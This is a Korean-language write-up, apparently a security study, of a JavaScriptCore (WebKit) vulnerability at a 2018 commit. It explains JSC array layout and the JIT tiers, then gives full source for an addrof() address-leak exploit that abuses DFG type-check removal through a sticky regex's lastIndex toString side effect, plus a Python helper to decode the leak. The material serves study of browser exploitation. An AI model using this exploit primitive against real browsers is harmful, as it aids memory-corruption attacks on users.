Source:
Build
sudo apt install git gperf python ruby bison flex cmake build-essential ninja-build -y
git clone https://github.com/WebKit/webkit.git
# Fri Nov 16 05:12:25 2018 Updated
git checkout 3af5ce129e6636350a887d01237a65c2fce77823
cd WebKit.git
Tools/Scripts/build-webkit --jsc-only --debug
Bash
복사
BackGround
JSC’s Array
lldb와 Webkit의 디버깅 함수인 describe()를 이용해 jsc의 배열 구조를 확인해보자.
CopyOnWriteArrayWithInt32
먼저 정수 배열인 [1,2,3]을 분석해보자.
describe() 함수가 반환한 Object의 주소인 0x7fffb04b4340 를 확인해보면 첫번째 8바이트의 하위 1바이트가 StructureID인것을 확인할 수 있고, 두번째 8바이트는 butterfly의 주소인 0x7ff0000e4010 임을 알 수 있다.
0x7ff0000e4010 를 확인해보면 배열의 요소가 순서대로 들어있다.
* Pointer { 0000:PPPP:PPPP:PPPP
* / 0001:****:****:****
* Double { ...
* \ FFFE:****:****:****
* Integer { FFFF:0000:IIII:IIII
* False: 0x06
* True: 0x07
* Undefined: 0x0a
* Null: 0x02
C
복사
CopyOnWriteArrayWithDouble
다음은 실수 배열인 [1, 2, 3.456]을 확인해보자.
CopyOnWriteArrayWithContiguous
다음은 문자열을 추가했다.
CopyOnWriteArrayWithContiguous
마지막으로 배열 요소에 객체와 배열을 추가했다.
Just-In-Time Compiler
JSCs는 4개의 tier를 가진다.
1.
LLINt interpreter
2.
Baseline JIT compiler
3.
DFG JIT
4.
FTL JIT
Tier 1: LLInt interpreter
기본 JavaScript 가상 머신인 일반 JavaScript 인터프리터이다.
//===================================================================================
// The llint C++ interpreter loop:
// LowLevelInteroreter.cpp
JSValue Cloop::execute(OpcodeID entry OpcodeID, void* executableAddress,
VM* vm, ProtoCallFrame* protoCallFrame, bool isInitializationPass)
{
// Loop Javascript bytecode and execute each instruction
// [...] snip
}
C++
복사
Tier 2: Baseline JIT compiler
자주 호출되는 함수가 있으면 “HOT”된다. (hot → JSC가 함수를 JIT하기로 결정했음을 설명하는 용어)
void JIT::privateCompileMainPass()
{
...
// When the LLInt determines it wants to do OSR entry into the baseline JIT in a loop,
// it will pass in the bytecode offset it was executing at when it kicked off our
// compilation. We only need to compile code for anything reachable from that bytecode
// offset.
...
}
C++
복사
(함수 전체가 바이트 코드로 컴파일된것이 아님)
Tier 3: DFG JIT
함수의 statement가 100번 이상 실행되거나, 해당 함수가 6번 이상 호출되는 즉시 Tire2에서 컴파일된 코드로 실행이 전환된다. 이후에 statement가 1000번 이상 실행되거나 함수가 66번 이상 호출되면 DFG JIT으로 전환된다.
DFG는 바이트코드를 DFG CPS 형식으로 변환하면서 type을 추측하는데, 이때 type이 변환하지 않는다고 판단할 경우 type check를 제거한다.
→ 이러한 특성을 이용해 exploit을 진행 할 예정.
Tier 4: FTL JIT
FLT JIT는 JavaScript에 C와 같은 더 공격적인 최적화를 제공하도록 설계되었다고 한다.
Exploitation
Object’s Address Leak
Full-Source-Code
function addrof(val) {
var array = [13.37];
var reg = /abc/y;
// Target function
var AddrGetter = function(array) {
// Just for avoid inlining
for (var i = 2; i < array.length; i++) {
if (num % i === 0) {
return false;
}
}
// Just for avoid inlining
for (var i = 2; i < array.length; i++) {
if (num % i === 0) {
return false;
}
}
"abc".match(reg);
return array[0];
}
// Force optimization
for (var i = 0; i < 20000; ++i)
AddrGetter(array);
// Setup haxx
regexLastIndex = {};
regexLastIndex.toString = function() {
array[0] = val;
return "0";
};
reg.lastIndex = regexLastIndex;
// Do it!
return AddrGetter(array);
}
object = {}
print(describe(object))
print('Leaked object : '+addrof(object))
JavaScript
복사
How to Leak?
먼저 AddrGetter()함수의 내부 구현을 보면 의미없는 반복문이 있는것을 확인할 수 있는데, 이것은 inline optimize를 피하기 위함이다.
var AddrGetter = function(array) {
// Just for avoid inlining
for (var i = 2; i < array.length; i++) {
if (num % i === 0) {
return false;
}
}
// Just for avoid inlining
for (var i = 2; i < array.length; i++) {
if (num % i === 0) {
return false;
}
}
"abc".match(reg);
return array[0];
}
JavaScript
복사
여기서 String.match()를 호출하는 것을 확인할 수 있는데, 이 함수를 호출하는 이유는 뒤에서 설명하겠다.
다음으론 AddrGetter() 함수를 2만번 호출해 강제로 DFG JIT컴파일 시킨다.
// Force optimization
for (var i = 0; i < 20000; ++i)
AddrGetter(array);
JavaScript
복사
이때 해당 함수는 double array를 반환하는것으로 최적화 하게되어 type check를 제거한다.
코드 맨앞의 var reg = /abc/y; 에서 ‘y’는 정규식 객체의 Sticky property를 나타내고, 때문에 String.match(reg)를 호출할 때 마다 reg.lastIndex를 호출하게 된다.(index를 계산한다.)
이때 정규식 객체의 lastIndex를 수정해 빈객체를 지정하고(lastIndex가 string이기 때문), toString함수의 동작을 객체의 첫번째 요소를 임의의 객체로 지정하도록 변경한다 .(DFG 컴파일 과정에서 type check가 제거되었다.)
regexLastIndex = {};
regexLastIndex.toString = function() {
array[0] = val;
return "0";
};
reg.lastIndex = regexLastIndex;
return AddrGetter(array);
JavaScript
복사
JSC_dumpSourceAtDFGTime 과 JSC_reportDFGCompileTimes환경변수를 이용하면 최적화되는 모든 js코드를 확인할 수 있다.
다음 사진과 같이 Symbol.match가 최적화 된 것을 확인할 수 있다.
이때 hasObservableSideEffectsForRegExpMatch 가 false일 경우 호출하는 @regExpMatchFast.@call 은 함수가 아닌 “op code/instruction”이다.
Result
leak된 object의 주소는 python 스크립트를 통해 unpack할 수 있다.
import struct
leak = float(input())
hex(struct.unpack("Q", struct.pack("d", leak))[0])
Python
복사